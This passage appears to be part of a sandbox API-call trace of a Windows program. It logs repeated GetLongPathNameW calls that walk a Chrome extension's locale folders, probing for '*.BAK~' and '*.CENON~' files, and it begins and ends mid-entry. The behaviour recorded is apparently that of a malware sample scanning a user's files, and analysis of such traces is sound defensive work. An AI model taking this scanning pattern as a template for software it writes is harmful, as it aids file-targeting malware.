lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.735] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.736] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0046.736] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.029] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.029] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.070] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.071] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.116] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.117] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.117] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.124] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.124] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.125] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.126] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.132] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.132] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.133] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.134] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.139] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.139] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.140] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.141] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.148] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.148] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.149] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.149] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.155] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.155] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.156] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.156] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.163] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.163] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.169] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.169] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.175] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.175] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.176] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.176] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.184] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.184] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.185] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.185] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.193] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.193] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.194] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.194] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.201] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.201] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.202] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.202] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.209] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.209] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.210] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.210] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.217] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.217] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.218] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.218] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.224] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.224] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.225] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.225] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.232] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.232] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.233] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.233] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.240] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.240] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.241] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.241] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.249] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.249] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.250] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.250] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.257] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.258] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.259] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.259] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.265] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.265] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.266] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.267] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.273] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.273] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.274] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.274] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.282] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.282] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.283] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.289] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.289] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.290] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.290] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.298] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.298] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.299] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.299] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.306] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.306] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.307] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.307] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.314] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.314] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.315] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.315] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.322] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.322] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.323] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.323] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.330] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.330] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.331] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.331] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.338] GetLongPathNameW (in: 